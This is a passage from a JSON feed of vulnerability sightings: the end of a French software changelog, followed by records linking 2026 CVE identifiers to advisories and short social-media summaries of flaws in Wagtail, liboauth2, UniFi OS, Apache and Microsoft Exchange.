produit)](https://trello.com/c/QtKdZOeE/2444-%F0%9F%9B%92%F0%9F%94%8E-tri-passer-en-vue-filtr%C3%A9e-par-marchand-marchand-liste-produit-d%C3%A9tail-produit) **\ud83e\udd75 Retour de test**\n        - *fix(wms): sorting retailer list* [\\#7588](https://github.com/Wishibam/Marketplace-api/pull/7588)\n    - [\ud83d\udd0d WMS - PACKING - Recherche au-del\u00e0 de la limite des 30 commandes](https://trello.com/c/cw1UsrG7/2427-%F0%9F%94%8D-wms-packing-recherche-au-del%C3%A0-de-la-limite-des-30-commandes) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *:sparkles: Add new search options for packing view* [\\#7589](https://github.com/Wishibam/Marketplace-api/pull/7589)\n    - [Traitement Cloudinary de la premi\u00e8re image de variation](https://trello.com/c/YuiI3bne/2449-traitement-cloudinary-de-la-premi%C3%A8re-image-de-variation) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *:sparkles: feat: process first variation image via Cloudinary preset* [\\#7592](https://github.com/Wishibam/Marketplace-api/pull/7592)\n    - [\ud83d\udce6\u2611\ufe0f WMS \u2014 Tri des colis : d\u00e9p\u00f4t de masse pour l'exp\u00e9dition (syst\u00e8me de coches)](https://trello.com/c/oMuGHbGB/2429-%F0%9F%93%A6%E2%98%91%EF%B8%8F-wms-tri-des-colis-d%C3%A9p%C3%B4t-de-masse-pour-lexp%C3%A9dition-syst%C3%A8me-de-coches) **\ud83e\udd75 Retour de test**\n        - *:sparkles: WMS rework massTransfer on TriShipping* [\\#7593](https://github.com/Wishibam/Marketplace-api/pull/7593)\n    - [Multi plateforme - droit de r\u00e9tractation](https://trello.com/c/ebl3rUnS/2400-multi-plateforme-droit-de-r%C3%A9tractation) **\ud83e\udd73Testing**\n        - *Add right of withdrawal feature* [\\#7606](https://github.com/Wishibam/Marketplace-api/pull/7606)\n        - *Add migrations to create missing return number sequences for each org\u2026* [\\#7614](https://github.com/Wishibam/Marketplace-api/pull/7614)\n \n- **Misc**\n    - *:sparkles: feat: store waybills on Scaleway buckets* [\\#7571](https://github.com/Wishibam/Marketplace-api/pull/7571)\n    - *:memo: docs: map PrintNode accounts per env and organization* [\\#7573](https://github.com/Wishibam/Marketplace-api/pull/7573)\n    - *:memo: docs: define \"done\" for dev tasks as green PR awaiting review* [\\#7574](https://github.com/Wishibam/Marketplace-api/pull/7574)\n    - *Fix again issues with invoice table* [\\#7577](https://github.com/Wishibam/Marketplace-api/pull/7577)\n    - *:bug: fix: truncate over-long category names before persist* [\\#7578](https://github.com/Wishibam/Marketplace-api/pull/7578)\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)\n    - *chore(deps): bump phpseclib/phpseclib from 3.0.52 to 3.0.54 in /api* [\\#7580](https://github.com/Wishibam/Marketplace-api/pull/7580)\n    - *:bug: Wrong wmsItems status when LineItems are reserved hours appart* [\\#7585](https://github.com/Wishibam/Marketplace-api/pull/7585)\n    - *:arrow\\_up: deps: bump guzzlehttp/guzzle & psr7 (3 CVE)* [\\#7587](https://github.com/Wishibam/Marketplace-api/pull/7587)\n    - *:wrench: chore: relax composer php upper-bound for PHP 8.5 deploy* [\\#7590](https://github.com/Wishibam/Marketplace-api/pull/7590)\n    - *fix(feed): preserve newlines (\\n) in product description on import* [\\#7591](https://github.com/Wishibam/Marketplace-api/pull/7591)\n    - *:bug: fix: first-image reprocessing actually reaches the eshop* [\\#7598](https://github.com/Wishibam/Marketplace-api/pull/7598)\n    - *:bug: fix: give each processed image a unique URL so re-processing reaches the eshop* [\\#7599](https://github.com/Wishibam/Marketplace-api/pull/7599)\n    - *:zap: perf: first-image processing once per flush, off the import worker hot path* [\\#7604](https://github.com/Wishibam/Marketplace-api/pull/7604)\n    - *Add migrations to generate shipment\\_return number sequences* [\\#7615](https://github.com/Wishibam/Marketplace-api/pull/7615)\n    - *:bug: fix: normalize stripe alerting errors to avoid string offset TypeError* [\\#7616](https://github.com/Wishibam/Marketplace-api/pull/7616)\n    - *fix(media): remove rawurlencode on filename and throw on ImageKit resize failure* [\\#7622](https://github.com/Wishibam/Marketplace-api/pull/7622)\n    - *fix(slug-listener): exclude current Attribute from uniqueness check on preUpdate* [\\#7624](https://github.com/Wishibam/Marketplace-api/pull/7624)\n    - *chore(deps): bump guzzlehttp/guzzle from 7.12.3 to 7.13.1 in /api* [\\#7637](https://github.com/Wishibam/Marketplace-api/pull/7637)\n \n- **D\u00e9j\u00e0 en production**\n    - *fix(media): flush before Factory call so VichUploader sets contentUrl before URL is built* [\\#7594](https://github.com/Wishibam/Marketplace-api/pull/7594)\n    - *:sparkles: feat: add --no-send option to Sellsy invoice command* [\\#7608](https://github.com/Wishibam/Marketplace-api/pull/7608)\n    - *:bug: fix: send Sellsy invoice note from organization config* [\\#7610](https://github.com/Wishibam/Marketplace-api/pull/7610)\n    - *:wrench: chore: sync master security hotfixes (CVE) into develop* [\\#7612](https://github.com/Wishibam/Marketplace-api/pull/7612)\n    - *:bug: fix: apply organization VAT tax\\_id on Sellsy invoice lines* [\\#7627](https://github.com/Wishibam/Marketplace-api/pull/7627)\n    - *:bug: fix: set Sellsy invoice date to the billed period end* [\\#7639](https://github.com/Wishibam/Marketplace-api/pull/7639)", "creation_timestamp": "2026-07-02T12:54:52.420785Z"}, {"uuid": "5a645b8e-e846-4537-af07-0e49bb9c966d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54430", "type": "seen", "source": "https://cert.pl/en/posts/2026/07/CVE-2026-54430", "content": "", "creation_timestamp": "2026-07-02T13:15:02.407742Z"}, {"uuid": "229b7d9b-1eed-4424-b5a6-a75469b24b73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54431", "type": "seen", "source": "https://cert.pl/en/posts/2026/07/CVE-2026-54430", "content": "", "creation_timestamp": "2026-07-02T13:15:04.570761Z"}, {"uuid": "0d8edd70-275b-4662-9b38-1079d8dcb0f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54763", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6o6mhfq2e", "content": "\ud83d\udd17 CVE : CVE-2026-54763, CVE-2026-54764, CVE-2026-54765", "creation_timestamp": "2026-07-02T13:55:14.909350Z"}, {"uuid": "fee36cd9-8ba1-4d08-bcae-7ae3350cf5ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54764", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6o6mhfq2e", "content": "\ud83d\udd17 CVE : CVE-2026-54763, CVE-2026-54764, CVE-2026-54765", "creation_timestamp": "2026-07-02T13:55:14.957386Z"}, {"uuid": "e9e9ef72-1f4b-4519-84e9-5d526a085e75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54765", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mpo6o6mhfq2e", "content": "\ud83d\udd17 CVE : CVE-2026-54763, CVE-2026-54764, CVE-2026-54765", "creation_timestamp": "2026-07-02T13:55:14.995092Z"}, {"uuid": "8247c0a7-28bf-449e-b0f8-cf2d79a01b6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54260", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpoafqta2k2q", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54260 \u0432 Wagtail: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/FF003A03-9775-4BD2-A67E-36D2F18D6852", "creation_timestamp": "2026-07-02T14:26:19.538799Z"}, {"uuid": "dcdf0d68-feac-4cad-b575-ad275be199c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54704", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpoagu42pq2i", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54704 \u0432 OpenTelemetry Java Instrumentation: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/609FEC15-2744-4D0D-A9CE-CD748215AD6F", "creation_timestamp": "2026-07-02T14:26:56.712604Z"}, {"uuid": "764c1427-8a88-4fcc-b7eb-91fe6bd14e1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54712", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpoahe26gl2w", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54712 \u0432 OpenTelemetry Java Instrumentation: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/CD0C985B-497F-45A3-8458-46D3E2BFA6E0", "creation_timestamp": "2026-07-02T14:27:13.117115Z"}, {"uuid": "81af2ab6-907d-4357-bf87-c437d7a85f2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54261", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpoai3ophu2n", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54261 \u0432 Wagtail: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/545E810D-380E-452F-B59F-AD9B8C16BCD8", "creation_timestamp": "2026-07-02T14:27:38.372978Z"}, {"uuid": "56e24486-b2e8-4c5b-b0d8-9ede2b8ab4ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54261", "type": "seen", "source": "https://bsky.app/profile/qiancx.bsky.social/post/3mpoai5gvar2f", "content": "Wagtail CMS \u5b89\u5168\u6f0f\u6d1e CVE-2026-54261 \u6df1\u5ea6\u89e3\u6790:\u5f71\u54cd\u8303\u56f4\u4e0e\u4fee\u590d\u5efa\u8bae\n\n\n\nhttps://qian.cx/posts/1F742402-F849-4DAC-BB38-BDE73C943A4B", "creation_timestamp": "2026-07-02T14:27:40.218973Z"}, {"uuid": "83fb3888-7388-48c0-b2b9-ac66f8550034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54262", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpoaj35qfl27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54262 \u0432 Wagtail: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/0E03F57A-9F93-40D6-81A7-1EE10ABADDDD", "creation_timestamp": "2026-07-02T14:28:11.364720Z"}, {"uuid": "82f96a68-a7fc-401a-92ae-9913a60ebc38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54263", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpoajono6c2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54263 \u0432 Wagtail: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/34344C06-C9D9-45D6-AAFE-137022DFECC0", "creation_timestamp": "2026-07-02T14:28:31.331316Z"}, {"uuid": "caf687cf-4a5b-4a6a-9167-96a7c3db3368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54259", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpoaw3jyg32y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54259 \u0432 Wagtail: \u0443\u0433\u0440\u043e\u0437\u044b, \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/9BA713B2-5EC7-451A-9603-9BC0C1D851BD", "creation_timestamp": "2026-07-02T14:35:27.790909Z"}, {"uuid": "b2297756-df3b-49fe-8507-bffaca9eacf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54399", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mpogcpwcqq2e", "content": "Apache HttpComponents Core vulnerabilities CVE-2026-54399 and CVE-2026-54428 allow remote denial of service through memory exhaustion. Upgrade now.\n\n#Apache #HttpComponents #DoS #CVE202654399 #CyberSecurity", "creation_timestamp": "2026-07-02T16:12:01.271217Z"}, {"uuid": "db0846f4-4453-45fa-9e5e-d432ad99aea7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54428", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mpogcpwcqq2e", "content": "Apache HttpComponents Core vulnerabilities CVE-2026-54399 and CVE-2026-54428 allow remote denial of service through memory exhaustion. Upgrade now.\n\n#Apache #HttpComponents #DoS #CVE202654399 #CyberSecurity", "creation_timestamp": "2026-07-02T16:12:01.334920Z"}, {"uuid": "26b6f59d-c1f0-4792-8fec-d80cfeac1c95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54477", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-183-03", "content": "", "creation_timestamp": "2026-07-02T17:15:07.407219Z"}, {"uuid": "ed9167f4-eb26-4fe6-b7bc-3e2ee9ef300b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54404", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mponbkeuld2v", "content": "CVE-2026-54404 - UniFi OS Authenticated SQL Injection Privilege Escalation\nCVE ID : CVE-2026-54404\n \n Published : July 2, 2026, 2:49 p.m. | 1\u00a0hour, 20\u00a0minutes ago\n \n Description : A malicious actor with access to the network and low privileges could exploit a series of authent...", "creation_timestamp": "2026-07-02T18:16:37.377258Z"}, {"uuid": "a2d8b93e-b9eb-4cd0-ba5b-9a8e516d16ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54402", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mponh36wia2z", "content": "CVE-2026-54402 - UniFi OS Command Injection\nCVE ID : CVE-2026-54402\n \n Published : July 2, 2026, 2:49 p.m. | 1\u00a0hour, 20\u00a0minutes ago\n \n Description : A malicious actor with access to the network and low privileges could exploit an Improper Input Validation vulnerability found i...", "creation_timestamp": "2026-07-02T18:19:42.642971Z"}, {"uuid": "743ae361-f1f2-4580-aa00-d93056df93e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54401", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpony4gxfx2z", "content": "CVE-2026-54401 - UniFi OS SSRF Privilege Escalation\nCVE ID : CVE-2026-54401\n \n Published : July 2, 2026, 2:49 p.m. | 1\u00a0hour, 20\u00a0minutes ago\n \n Description : A malicious actor with access to the network and low privileges could exploit a Server-Side Request Forgery (SSRF) to es...", "creation_timestamp": "2026-07-02T18:29:14.501681Z"}, {"uuid": "83743163-1b02-41d1-b17e-9f718bf5b100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54617", "type": "published-proof-of-concept", "source": "https://github.com/GravitLauncher/Launcher/security/advisories/GHSA-5g75-477j-2c2f", "content": "", "creation_timestamp": "2026-07-02T22:35:04.998540Z"}, {"uuid": "a1b7dd76-5c23-4452-837c-d007ef82acb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54431", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpp5spl4n62n", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54431 \u0432 liboauth2: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/458F7A67-5E7E-4159-BA77-D5447908E0D9", "creation_timestamp": "2026-07-02T23:12:33.464710Z"}, {"uuid": "32e3b423-4043-494d-a0ed-726a43f419d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54430", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpp62olsut2i", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54430 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 liboauth2: \u0443\u0433\u0440\u043e\u0437\u0430 Server-Side Request Forgery\n\n\n\nhttps://kripta.biz/posts/9F7681CE-BE15-4390-B287-D7FC7A0F69CD", "creation_timestamp": "2026-07-02T23:17:00.244033Z"}, {"uuid": "a96a5b82-ccd8-45f0-94e7-2ccd6a659ee2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpp6hj5djk2o", "content": "CVE-2026-54998 - Microsoft Exchange Online Elevation of Privilege Vulnerability\nCVE ID : CVE-2026-54998\n \n Published : July 2, 2026, 10:18 p.m. | 54\u00a0minutes ago\n \n Description : None\n \n Severity: 8.8 | HIGH\n \n Visit the link for more details, such as CVSS details, affected pro...", "creation_timestamp": "2026-07-02T23:24:10.970854Z"}, {"uuid": "3be87cdc-4938-4e69-8a08-482a00d63d07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mppaiuuxbg2b", "content": "\ud83d\udfe0 CVE-2026-54998 - High (8.8)\n\nIncorrect authorization in Microsoft Exchange Online allows an authorized attacker to elevate pri...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54998/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-03T00:00:45.092440Z"}, {"uuid": "2c61ae2e-b7a1-453e-83d2-fc611758197a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54475", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mpph6qinrz2a", "content": "Nine Apache ActiveMQ vulnerabilities allow denial of service and a temporary destination takeover (CVE-2026-54475). Upgrade to 6.2.7 now.\n\n#ApacheActiveMQ #ActiveMQ #CVE202654475 #DenialOfService #OpenWire #STOMP #MessageBroker #Vulnerability", "creation_timestamp": "2026-07-03T02:00:20.869129Z"}, {"uuid": "0ba543d1-6115-4070-ada0-8b7271240066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54477", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mppjau64lu2s", "content": "CVE-2026-54477 - Gardyn IoT Hub Improper Neutralization of HTTP Headers for Scripting Syntax\nCVE ID : CVE-2026-54477\n \n Published : July 2, 2026, 11:52 p.m. | 1\u00a0hour, 54\u00a0minutes ago\n \n Description : The admin panel lacks standard security headers, enabling clickjacking and cro...", "creation_timestamp": "2026-07-03T02:37:18.594114Z"}, {"uuid": "c5226d06-bd12-4028-a3c4-da50878437a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54430", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mppm5xyeau27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54430 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 liboauth2: \u0443\u0433\u0440\u043e\u0437\u0430 Server-Side Request Forgery\n\n\n\nhttps://kripta.biz/posts/C9690B3B-7F7B-416C-B6C1-2C7EB8639EF1", "creation_timestamp": "2026-07-03T03:29:23.596800Z"}, {"uuid": "ddef8654-cf70-4529-8b9b-55ed8ebcee44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54431", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mppm7762as2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54431 \u0432 liboauth2: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/2012CE6D-56ED-424F-BB91-C3518CBF1BF8", "creation_timestamp": "2026-07-03T03:30:05.128912Z"}, {"uuid": "db23bcc4-ea98-46dc-9ff1-47546bc8c5e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116854297434181925", "content": "A new vulnerability with increased severity was disclosed for Microsoft Exchange Online (CVE-2026-54998) https://vuldb.com/vuln/376012", "creation_timestamp": "2026-07-03T05:04:36.096415Z"}, {"uuid": "70aeda26-ebed-49ec-a2be-e26575157798", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54407", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mppy6zuy2o2c", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 CVE-2026-54407: \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u044e \u0441\u0435\u0442\u044c \u043e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432\n\n\n\nhttps://kripta.biz/posts/20173DE2-2D9C-415C-BCB2-BA97206AA3B5", "creation_timestamp": "2026-07-03T07:04:43.841805Z"}, {"uuid": "bf824012-9aee-4309-a0f6-57130c2570e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54408", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mppy7nokut2p", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 CVE-2026-54408: \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u044e \u0441\u0435\u0442\u044c \u043e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 Improper Access Control\n\n\n\nhttps://kripta.biz/posts/08EB5D3D-3DCB-49C3-A95E-62DBFB9646EC", "creation_timestamp": "2026-07-03T07:05:04.365808Z"}, {"uuid": "a865037b-dd6f-4671-96c1-702f1cb31642", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54409", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mppycdprae2o", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 CVE-2026-54409: \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u044e \u0441\u0435\u0442\u044c \u043e\u0442 \u0430\u0442\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432\n\n\n\nhttps://kripta.biz/posts/A4DF3275-CDC9-443B-81BE-6E1D1C935BC2", "creation_timestamp": "2026-07-03T07:06:34.983549Z"}, {"uuid": "401a2c60-de73-4d49-bc08-3d73e0e1175f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54401", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mppyectjt62c", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54401: \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/49A9CA7D-72BF-434F-AA57-5E367BA998B9", "creation_timestamp": "2026-07-03T07:07:40.965736Z"}, {"uuid": "a5158bc8-c67e-4354-b54a-866a7e37a110", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54402", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mppyewqvlf2d", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 CVE-2026-54402: \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0441\u0435\u0442\u0438\n\n\n\nhttps://kripta.biz/posts/D0D2A2CE-70BE-411B-A0F1-A0C0EEBE3A8B", "creation_timestamp": "2026-07-03T07:08:02.171383Z"}, {"uuid": "13af31aa-1ca6-4d0f-b11e-654a1db771f1", "vulnerability_lookup_origin": 